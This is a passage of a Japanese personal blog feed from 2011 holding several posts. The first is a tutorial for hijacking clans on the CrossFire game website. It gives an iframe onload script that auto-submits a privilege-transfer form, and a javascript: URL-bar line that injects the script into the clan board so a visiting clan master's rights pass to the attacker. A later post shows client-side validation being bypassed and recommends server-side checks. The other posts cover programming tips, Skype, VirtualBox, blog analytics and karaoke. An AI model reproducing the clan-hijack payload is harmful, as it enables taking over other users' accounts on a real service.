color="red"&gt;先ほど記憶したuserId&lt;/font&gt;" name="a" onload="b=a.document.getElementById('updateForm');b.target='ifrLogout';b.method='POST';b.mode.value='m0';b.action='updateClanUser.action';a.location.href='javascript:document.updateForm.submit()';" width=”0” height=”0”&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;上記のコードをクランページの掲示板に書き込むのだが、普通にはできないのでコメント入力欄に入力してある状態でURLバーに下記コードをURLバーに入力しジャンプする。（上下両方ともコードに改行はありません。）&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;javascript:a=document.writeCommentForm;a.contents.value=comment.value;a.action="insertComment.action";a.method="POST";a.target="ifrLogout";a.submit();&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;あとはクランマスターがクランページにアクセスしたときに上記のスクリプトが動作し、IframeのURLに書かれているIDにクランマスターの権限が飛んでくる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;知識がなくてもこんなことができるようでいいのだろうか。まぁこうなっては公式ページを1から作り直さなくてはどうしようもない状態だと思うけども。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;意見や要望はTwitter、Skype、コメントにてどうぞ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6974551843470292754?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6974551843470292754/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6974551843470292754&amp;isPopup=true' title='1 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6974551843470292754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6974551843470292754'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/blog-post.html' title='クロスファイアのクランを乗っ取る方法'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5951569490021153128</id><published>2011-05-01T23:49:00.001+09:00</published><updated>2011-05-01T23:49:04.104+09:00</updated><title type='text'>JavaScriptで配列の内容が同一か比較する。</title><content type='html'>&lt;p&gt;とりあえずソースを見てもらいたい。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;a = new Array();&lt;br&gt;b = new Array();&lt;br&gt;&lt;br&gt;for(i=0;i&amp;lt;10;i++){ a[i] = b[i]=i; }&lt;br&gt;&lt;br&gt;alert(a==b);&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これ、Falseが出るんですよ。&lt;/p&gt; &lt;p&gt;というわけで二つの配列を比較するためのメソッドを作ってみた。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function compArray(a,b){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var bool = true;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(a.length==b.length){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;i&amp;lt;a.length;i++)if(a[i]!=b[i]){bool=false;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{ bool = false; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return bool;&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;作ってみて思ったのが「どうせこういうメソッドはもとから・・・」 &lt;p&gt;でも探すよりも書いたほうが早い時もあるよね。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5951569490021153128?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5951569490021153128/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5951569490021153128&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5951569490021153128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5951569490021153128'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/05/javascript.html' title='JavaScriptで配列の内容が同一か比較する。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3295788842944966759</id><published>2011-04-18T00:54:00.001+09:00</published><updated>2011-04-18T00:58:39.127+09:00</updated><title type='text'>Skypeを多重起動</title><content type='html'>&lt;p&gt;動作環境はWindows XP、Skype 5.1でチェックしています。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;「C:\Program Files\Skype\Phone\Skype.exe」のショートカットを作成し、リンク先を&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;“C:\Program Files\Skype\Phone\Skype.exe” /secondary&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;に書き換えて実行すればおｋ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;FedoraかOpenSUSEかわすれたけどSkypeやWindows Liveメッセンジャー他いろいろなメッセンジャーソフトの複数のアカウントでログインできるが初めから入ってた気がする。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;参考ページ : &lt;a href="http://hiyuki.sitemix.jp/?p=97"&gt;http://hiyuki.sitemix.jp/?p=97&lt;/a&gt;&lt;/p&gt; &lt;p&gt;参考も何も転載じゃん。ってのは気にしないでおくれ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3295788842944966759?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3295788842944966759/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3295788842944966759&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3295788842944966759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3295788842944966759'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/04/skype.html' title='Skypeを多重起動'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3676276646768671528</id><published>2011-04-18T00:14:00.001+09:00</published><updated>2011-04-18T00:15:29.512+09:00</updated><title type='text'>ゲストOSのIPをルーターから割り振り、ネットに繋ぐ。</title><content type='html'>&lt;p&gt;Ubuntuの仮想サーバーを立ててみました。&lt;/p&gt; &lt;p&gt;Ubuntu使いのイケメンプログラマー（略してイケグラマー）が家に来たのでウェブサーバーを立ててもらった。&lt;/p&gt; &lt;p&gt;本当なら自分でXAMPPいれてサーバー構築完了！と思ってたのですがApacheがなぜか正常に起動せず断念。以前はこれでやってたのになぁ。&lt;/p&gt; &lt;p&gt;そして日頃Windowsを使うのでほかのOSをインストールしてしまうと不便。&lt;/p&gt; &lt;p&gt;というわけで、VirtualBoxをインストールし仮想でUbuntuを立ち上げた。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;初期設定ではゲストOSのIPはルーターから割り振られないのでブリッジ接続をしなくてはいけません。&lt;/p&gt; &lt;p&gt;「VirtualBox Host-Only Network」と「ローカルエリア接続」のブリッジを作成。&lt;/p&gt; &lt;p&gt;そして作成されたブリッジ接続のIPがおかしくないかチェック。&lt;br&gt;（例えばルーターのIPが192.168.10.1なのにブリッジの192.168.56.3とかではだめですね。）&lt;/p&gt; &lt;p&gt;ゲストOSのネットワークアダプタの設定はデフォルトのNATでOK。&lt;/p&gt; &lt;p&gt;ウェブサーバーにする場合はゲストOSにLAMPサーバーを導入し、IPアドレスを調べてルーターを使ってる人はアドレス変換をして完了。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そのLAMPサーバーの導入がわからねぇんだよ　って方はググってください。確かコンソールに3行入れるだけでPHPまで使えるウェブサーバーが導入できるはず。&lt;/p&gt; &lt;p&gt;俺がイケグラマーにネットワーク設定以外はすべてやってもらっているというのは秘密。&lt;/p&gt; &lt;p&gt;「コマンド全くわからないもん。」と言い訳してみる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;長々と書いたけども今日のまとめは&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;「ゲストOSのIPをルーターから割り振りたかったらVirtualBox Host-Only Networkとローカルエリア接続のブリッジを作成しろ。」&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;ってだけ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3676276646768671528?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3676276646768671528/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3676276646768671528&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3676276646768671528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3676276646768671528'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/04/osip.html' title='ゲストOSのIPをルーターから割り振り、ネットに繋ぐ。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5323944251940193567</id><published>2011-04-03T01:34:00.001+09:00</published><updated>2011-04-03T01:38:23.407+09:00</updated><title type='text'>初、アクセス解析。</title><content type='html'>&lt;p&gt;ブログを設立して初のアクセス解析です。&lt;/p&gt; &lt;p&gt;とは言え、開設してからBloggerに移行するまではGoogle Analyticsをセットしていなかった。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まず以下のグラフが2010年7月19日から2011年4月3日のアクセス者数の推移&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TZdQDO73EeI/AAAAAAAAANk/vzq7DtEcZQU/s1600-h/analytics%5B4%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="analytics" border="0" alt="analytics" src="http://lh6.ggpht.com/_toMCQOU2NRI/TZdQDV-9AoI/AAAAAAAAANo/lQkZJbYMGOI/analytics_thumb%5B2%5D.jpg?imgmax=800" width="558" height="119"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;3か所アクセス者が極端に増えてるところがある。&lt;/p&gt; &lt;p&gt;その前日に書いた記事の内容は以下の3つ。かっこの中は投稿した日&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;2010/09/24 (2010/09/19)&lt;nobr&gt;「このiPhoneなら買いたくなるな。」&lt;/nobr&gt;&lt;br&gt;&lt;a href="http://axe1lyze.blogspot.com/2010/09/iphone.html"&gt;http://axe1lyze.blogspot.com/2010/09/iphone.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;2010/10/11 (2010/10/11)「Windows Mobile端末でSnapDragonの実力を検証」&lt;br&gt;&lt;a href="http://axe1lyze.blogspot.com/2010/10/windows-mobilesnapdragon.html"&gt;http://axe1lyze.blogspot.com/2010/10/windows-mobilesnapdragon.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;2010/10/19 (2010/10/19)「T-01Bでテザリング（モデム化）」&lt;br&gt;&lt;a href="http://axe1lyze.blogspot.com/2010/10/t-01b_19.html"&gt;http://axe1lyze.blogspot.com/2010/10/t-01b_19.html&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp; &lt;p&gt;こう見ると書いたのがすぐ見られてることがわかりますね。  &lt;p&gt;あと、2010/09/19のは2chに取り上げられていた。  &lt;p&gt;&amp;nbsp; &lt;p&gt;自分のブログのアクセス者の大半がT-01B関連のようです。まぁそのネタの記事しかまともな事書いてませんからね。  &lt;p&gt;やっぱりアクセス者数を増やしたいのなら、実用的なことを書かないといけないということが身にしみてわかりました。  &lt;p&gt;まぁ自分はアクセス者数稼ぐよりも趣味で気ままに書いてるだけなんですけどね。  &lt;p&gt;上のグラフからわかるのが、毎日のアクセスの中約30~40%がリピーターであること。  &lt;p&gt;そのような方々を手放さないようにも楽しめる記事を書いていきたいと思います。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5323944251940193567?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5323944251940193567/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5323944251940193567&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5323944251940193567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5323944251940193567'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/04/blog-post.html' title='初、アクセス解析。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_toMCQOU2NRI/TZdQDV-9AoI/AAAAAAAAANo/lQkZJbYMGOI/s72-c/analytics_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7289024341294091259</id><published>2011-03-22T05:42:00.001+09:00</published><updated>2011-03-22T06:10:36.344+09:00</updated><title type='text'>春休み最大のハードスケジュール</title><content type='html'>&lt;p&gt;目が冴えて眠れないからブログを更新。&lt;/p&gt; &lt;p&gt;今回は久々に情報系じゃなく日常的なことで。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;大まかな流れ&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Step1:カラオケ7時間&lt;br&gt;Step2:ネカフェ9時間(A.V.A.パーティー)&lt;br&gt;Step3:カラオケ7時間&lt;br&gt;Step4:彼女が泊まりに&lt;br&gt;Step5:カラオケ3時間（今ここ）&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Step3終了の段階で体調を崩したのか頭、耳管開口部、喉頭、咽頭に激痛が。&lt;/p&gt; &lt;p&gt;どこかわからないぜって方は&lt;a href="http://www.nms.co.jp/cold/images/nodo1.gif" target="_blank"&gt;こちら&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;パターン決まっちゃってるからそろそろバリエーションを増やしたいものだ。&lt;/p&gt; &lt;p&gt;昔はBUMP OF CHICKENの天体観測さえキー高いとかいってたのが今じゃオク上げまでいけるように。&lt;/p&gt; &lt;p&gt;人って何でもできるんだなー。&lt;/p&gt; &lt;p&gt;いつも行くメンバー（全員男）の中でGod knowsをオク上げで歌える人がいるんだよねー。そこまで行ってみたいものだ。&lt;/p&gt; &lt;p&gt;そういうスキルUPもしたいけども、歌う曲や歌い方には人間性が（ｒｙなので綺麗に歌う練習もしたいな。&lt;/p&gt; &lt;p&gt;誤解されそうだから一応言っておく。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;いつも行くメンバーの&lt;br&gt;”耳塞いでも耳鳴りがするデスヴォイスやシャウトをする歌い方”&lt;br&gt;”規格外のハイトーンで頭が割れてタマがでてきそうになったりする歌い方”&lt;br&gt;などへの嫌味ではありません。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;まぁ、人を指摘できるほどの喉もないので。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;最後に宣伝がてら歌った曲リストを。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;manzo - マイペース大王&lt;br&gt;manzo - 溝ノ口太陽族&lt;br&gt;HOOBASTANK – Just One&lt;br&gt;HOOBASTANK – Out of control&lt;br&gt;Linkin Park – Faint&lt;br&gt;Linkin Park – Breaking the habit&lt;br&gt;Linkin Park – The Catalyst&lt;br&gt;Linkin park – Papercut&lt;br&gt;SUM41 – STILL WAITING&lt;br&gt;BON JOVI – Have a nice day&lt;br&gt;SADIE – ICE ROMANCER&lt;br&gt;403 – Thousand Cross&lt;br&gt;Dragon force - Through the fire and flames&lt;br&gt;喜多修平 - 一斉の声&lt;br&gt;MintJam – Rival&lt;br&gt;LONG SHOT PARTY - あの日タイムマシン&lt;br&gt;LadyQ - ぐるぐるクロちゃん&lt;br&gt;TiA – Promise&lt;br&gt;紅色リトマス - 凛として咲く花の如く&lt;br&gt;石田 燿子 – STRIKE WITCHES ~私にできること~&lt;br&gt;石川 智千 – アンインストール&lt;br&gt;林原めぐみ - Northern Lights&lt;br&gt;放課後ティータイム - LISTEN!!&lt;br&gt;SOUND HORIZON - 石畳の緋き悪魔&lt;br&gt;平野綾 – God Knows…&lt;br&gt;平野綾 – Lost my music&lt;br&gt;平野綾 - ハレ晴レユカイ&lt;br&gt;河辺千恵子 - 桜キッス&lt;br&gt;飛蘭 – mind as Judgement&lt;br&gt;(ヤ)ランカ・リー - 星間(性感)飛行&lt;br&gt;May’n - ライオン&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;オールだと毎回これぐらいかな。もちろんオク下げは許されない。許されるのはオク上げのみだ！（俺の中で）&lt;/p&gt; &lt;p&gt;あ、いさじの声まねならオク下げするけどね。&lt;/p&gt; &lt;p&gt;いさじの声まねは似てるらしいがおれは大塚明夫の真似がしたいんだ。&lt;/p&gt; &lt;p&gt;いさじ to 大塚明夫 は難しそう。&lt;/p&gt; &lt;p&gt;某FPSゲームの台詞「爆弾をセットした。」は不意に一回うまくいえてたらしいが。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あ、そうそう。&lt;a href="http://axe1lyze.client.jp/nicovideo/" target="_blank"&gt;NicoWebPlayer for Android&lt;/a&gt;のアクセスカウンターが延べじゃなく1000人を超えました！&lt;/p&gt; &lt;p&gt;アクセスしていただいてる方ありがとうございます。これからもよろしくお願いします。（なかなか改良する時間がありませんが）&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7289024341294091259?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7289024341294091259/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7289024341294091259&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7289024341294091259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7289024341294091259'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/03/blog-post_22.html' title='春休み最大のハードスケジュール'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-9005000483005654099</id><published>2011-03-11T03:28:00.002+09:00</published><updated>2011-03-14T07:46:08.300+09:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='プログラミング'/><title type='text'>JavaScriptでの行動の制限について</title><content type='html'>&lt;p&gt;ク○スファイアというオンラインゲームのウェブページではJavaScriptで特殊文字を禁止したり、入力文字数を制限している。&lt;/p&gt;&lt;p&gt;しかし最近のブラウザではURLバーからJavaScriptを実行できるため行動を制限しても簡単に回避できるようになっている。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;上記の問題をソースコードを例に紹介してみる。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;script&amp;gt;&amp;lt;!--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function sendForm(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(document.testForm.msg.value&amp;lt;=10){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; document.testForm.submit();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{alert(“10文字以下で入力してください。”);}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;//--&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form name=”testForm” action=”送信先URL”&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=”text” name=”msg”/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=”submit” value=”送信" onClick="sendForm()”/&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;上記のようなソースコードの場合、判定を迂回したかったらURLバーに&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;javascript:document.testForm.submit();&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;と一行入力するだけで判定を迂回できる。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;ではどのようにして迂回させないようにするか。&lt;/p&gt;&lt;p&gt;これもまた簡単だ。しかしJavaScriptだけでは解決できない。&lt;/p&gt;&lt;p&gt;流れはこんな感じ。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;一度データを送信してしまい、サーバーサイドでデータを破棄するかどうかの判定を行いレスポンスを返す。&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;これもソースコードにして紹介。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;送信側のファイルの内容&lt;br /&gt;&amp;lt;script&amp;gt;&amp;lt;!--&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function sendForm(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jQuery.get(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ”./target.php?msg=”+document.testForm.msg.value,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; null,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; function(data){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; alert(data.responseText);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;//--&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form name=”testForm” action=”javascript:sendForm()”&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=”text” name=”msg”/&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type=”submit” value=”送信"/&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;受信側のファイルの内容(target.php)&lt;/p&gt;&lt;p&gt;&amp;lt;?php&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $data=$_REQUSET[“msg”];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($dataに対する条件をいろいろとここに書く){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //条件を満たしたときの動作&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo “送信に成功しました。";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo “送信されたデータが条件を満たしていません。";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;?&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;こうしておけばクライアントサイドからではデータの送信しかできず、判定はサーバーサイドで行われる。&lt;/p&gt;&lt;p&gt;ふと思い浮かんだものをメモ的に書いたものなので動作検証はしていません。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;結論：クライアントサイドでの制限は飾りにしかならない。&lt;/p&gt;&lt;p&gt;いや、そもそもURLバーからJavaScriptを実行できるのはいいのだろうか。便利だけどさ。&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-9005000483005654099?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/9005000483005654099/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=9005000483005654099&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/9005000483005654099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/9005000483005654099'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/03/javascript.html' title='JavaScriptでの行動の制限について'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 